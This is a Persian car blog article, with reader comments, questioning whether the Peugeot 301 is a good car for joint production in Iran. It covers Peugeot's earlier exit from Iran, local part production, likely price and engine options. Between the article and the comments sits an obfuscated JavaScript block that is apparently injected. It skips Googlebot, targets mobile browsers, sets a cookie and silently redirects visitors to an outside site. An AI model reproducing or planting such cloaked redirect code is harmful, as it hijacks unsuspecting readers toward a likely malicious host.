مکمل بنزین
اخبار خودروبرگزیده‌هاتحلیلی

آیا پژو 301 خودرویی مناسب برای تولید در ایران است؟

باز هم یک پژوی دیگر. انگار صنعت خودرو سازی دولتی ما قرار نیست به جز پژو دیگران را هم ببیند. شرکت پژو حتی پس از شراکت با سیتروئن و ایجاد گروه PSA هنوز هم در رده ده خودرو ساز برتر دنیا قرار ندارد. ناخودآگاه به یاد سخن دوستی افتادم که مقیم آمریکا بود. روزی به من گفت دیدن یک پژو در آمریکا مانند یک رویاست!

حال به هر علت معقول و غیر معقولی باز پای این خودرو ساز زیرک و عهد شکن به ایران باز شده است. همان پژویی که بلافاصله پس از تحریم‌های ایالات متحده بر علیه کشورمان یک شبه ایران را ترک، تمامی کارشناسانش را از ایران خارج و حتی دیگر یک پیچ هم به ایران نفرستاد!

اگرچه همین اتفاق موجب تکیه بر توان داخل برای تولید 206 شد. اما ضررهای وارده به صنعت کشور هیچگاه جبران نشد. در آن روزها که بحث دریافت غرامت از پژو در محافل مطبوعاتی داغ بود، مدیرعامل پزو در سخنانی خود را بی‌تقصیر عنوان کرده و مقصر اصلی را ایالات متحده دانست و گفت چاره دیگری جز ترک ایران نداشته است. اگرچه هم اکنون و با انعقاد قرار داد برخی مسئولین سخن از پذیرفتن شرط ایران مبنی بر پداخت غرامت توسط پژو به میان می آورند.

301_longueur

اما این بار صحبت از تولید مشترک ایران‌خودرو و پژو برای سه مدل اتومبیل است. یکی از این خودرو ها که بیشتر مورد توجه طبقه متوسط جامعه قرار خواهد گرفت، پژو ۳۰۱ است. معمولا خانواده‌های ایرانی خودرو سدان را بر هاچ‌بک ترجیح میدهند حتی اگر این خودرو 206 باشد. پژو ۳۰۱ اولین بار در نمایشگاه خودروی پاریس در سال ۲۰۱۲ معرفی و در سپتامبر همان سال به بازار عرضه شد. این خودرو با توجه به خرید سهام پژو سیتروئن توسط دانگ فنگ هم اکنون در چین تولید می‌شود. از هم اکنون می توان آینده را حدس زد، شرکتی که سهامش را چینی را بخرند چه سرنوشتی خواهد داشت. صحبت از تولید مشترک که به میان می‌آید، مصرف کننده ایرانی به یاد گذشته افتاده و تولیدات مشترک با خودروسازان خارجی!

  سرگردانی خریداران خودروی ام‌جی 360 توربو

به گفته آقای ویسه در برنامه “تهران تقاطع سئول” که از شبکه افق پخش شد، در نهایت تولید مشترک پژو 206 در ایران منجر به تولید موکت کف اتاق، چراغ‌ها و سپر، رینگ‌ها و لاستیک‌ها، داشبورد و سیستم صوتی شد و قوای محرکه و انتقال نیرو توسط پژو انجام می‌گرفت. لازم به ذکر است آقای ویسه بین سال‌های 1380 تا 1384 و در دوره حضور آقای جهانگیری در وزارت صنایع و معادن، ریاست هیات مدیره سازمان گسترش و نوسازی صنایع ایران (ایدرو) را بر عهده داشت.

حال اگر عادت بد اروپایی‌ها در بد عهدی را مجددا شاهد باشیم، این بار قطعه سازان ایرانی باید به ساخت موکت کفت 301 رو بیاورند! 

خب بیایید عینک بدبینی را کنار بگذاریم و خودمان را قانع کنیم که موتور و قوای محرکه و قطعات با تکنولوژی بالا توسط ایران و چراغ‌ها، سپر و موکت کف توسط فرانسوی‌ها تولید خواهد شد و 30 درصد تولیدات هم صادر می‌کنیم.

این خودرو هم اکنون در کشور چین با قیمتی در حدود 15 هزار دلار عرضه می‌شود. اگر همین قیمت را با دلار امروز محاسبه کنیم چیزی در حدود 55 میلیون تومان می‌شود. اما نکته مهمی که نباید فراموش کنیم آن است که  هیچگاه هیچ خودروی تولیدی در ایران قیمتی معادل نمونه تولیدی در دیگر کشورها را نداشته است. نمونه‌های این مساله فراوانند، از پژو 206 و 405 گرفته تا پروژه پر سر و صدای L90. همه آن‌ها قرار بود جایگزین پیکان و بعدها پراید شوند. اما الان کار به جایی رسیده که L90 را بعضی از دوستان خودرویی لوکس نامگذاری می‌کنند! و نزدیک دو برابر یک پراید قیمت دارد.

  معرفی جدیدترین سیستم شارژ BMW i3؛ تامین برق خودرو و خانه!

با این اوصاف بعید به نظر می‌رسد که پژو 301 در حداقل آپشن و ساده‌ترین حالت خود قیمتی کمتر از 80 میلیون تومان داشته باشد. خودروی پژو 301 یک خواهر دوقولوی دیگر هم دارد که در کمپانی شریک پژو یعنی سیتروئن تولید می‌شود به نام سیتروئن سی الیزه. البته از حق نگذریم پژو دارای طراحی زیباتری در مقایسه با سیتروئن است.

citroen-c-elysee-peugeot-301

 

به لطف موتورهای جدید تولیدی گروه PSA این خودرو از یک نمونه 1600 سی‌سی با 115 اسب بخار قدرت در قوی‌ترین نمونه و یا یک موتور 1400 سی سی با 72 اسب بخار قدرت سود می‌جوید. نمی‌دانم چرا چیزی در گوشم می‌گوید نکند آن موتور ضعیف‌تر به ایران راه پیدا کند، اتفاقی که بر سر پژو 407 و سیتروئن C5 افتاد!

امیدوارم در تولید این خودرو آینه ها و شیشه های عقب برقی بمانند و استراتژی تولید یک خودرو در تیپهای مختلف مجددا تکرار نشود. اتفاقی که تولیدکنندگان ایرانی در اجرای آن به یک تراژدی خواهند رسید. نمونه‌های آن تولید خودروی تندر در سه تیپ در بتدای کار و نیز پژو ۲۰۶ صندوقدار در چندین تیپ بود که اکنون همگی تبدیل به یک مدل شده‌اند.

301 motors

تجربه در بازار خودروی ایران نشان داده که خودروی موفق به خودرویی می گویند که ۳۰ سال تولید شود. بنابراین باید منتظر ماند و دید این پژو ۳۰۱ تا سال 1424 چه تغییراتی در سپر و چراغها خواهد داشت. الیته اگر به سرنوشت پژو ۴۰۷، سیتروئن سی 5 و سوزوکی کیزاشی دچار نشود. اما در انتها هنوز این پرسش بدون پاسخ مانده که چرا خودروسازان ما به سراغ غولهای خودرویی دنیا نظیر تویوتا و فولکس واگن نمی‌روند.؟ چرا تویوتا کرولا ۲۰۱۵ قیمتی نزدیک به ۱۸ هزار دلار دارد و عنوان پرفروش ترین خودروی دنیا را یدک می کشد همکاری با پژوی عهد شکن اولویت اول صنعت خودروی کشور است؟ 

  بازگشت دوو به ایران بعد از گذشت دو دهه!

 

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

نوشته های مشابه

‫5 دیدگاه ها

  1. همین امروز جک جی 5 اتوماتیک ثبت نام کردم چون می دونم که دستم به پژو نمیرسه و اگر هم رسید انقدر آشغال هست که از خریدش منصرف بشم.شاید الان وضع چینی ها خوب نباشه ولی درآینده اول و آخر همه چینی سواریم.

  2. *چرا خودروسازان ما به سراغ غولهای خودرویی دنیا نظیر تویوتا و فولکس واگن نمی‌روند.؟*
    خیلی سادست برای اینکه تو ایران ارگان ها و سازمان های مختلف از تولید تک تک خودروها سهم دارن که قیمت ها سر به فلک میکشه و المانی ها و ژاپنی باشرف تر از اون هستن که به کسی باج بدن…اما فرانسوی جماعت خیلی بی شرف تر از اونی هستن که فکرشو بکنبد و فقط به فکر جیب خودشون هستن به هرقیمتی که شده…
    هم چنان تحریم لگن داخلی چه 405 و سمند باشه چه 301 به امید نابودی ویران خودرو و سایپا

  3. واقعا ادم زورش میگیره
    تو ایران پراید رو بالای بیست میلیون میدن بعد واسه عراق هفت میلیون میدن
    بعد خودرویی رو که تو کشور خودش 15 هزار دلاره رو میان اینجا 20 هزار دلار میدن!!
    واقعا تفاوت مدیریت در اقتصاد رو همین جا هم میشه فهمید که کی داره سود میکنه .. کی ضرر…
    البته برای ما که مهم نیست فوقش اینم برامون قسطی میکنن با سود حلاااال و ما هم میریم می خر یم !
    تا وقتی یه شرکت خصوصی نیاد و بازار رقابتی نشه اوضاع همینه !
    همراه اول هم اول سیم کارتش یک میلیون بود و الان شده 10 هزار تومن ! به لطف ایرانسل و رایتل دیگه طرح های رایگان و ارتقای چشم گیر کیفیتشون به کنار..
    تا رقابت نباشه چیزی عوض نمیشه و به بهانه های الکی بدتر هم میشه

  4. پژو یک کار خانه قدیمی و با تجربه ای است فقط چون عقده ازش دارین بدش میکنید

  5. کسی پژو رو بد نمیکنه خودرو ساز ایرانی داره از جیب مردم بزل و بخشش میکنه
    در ضمن خلایق هر چه لایق کمپین سال ۹۴ یادتون نره که خودمون به کجا رسوندیم

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا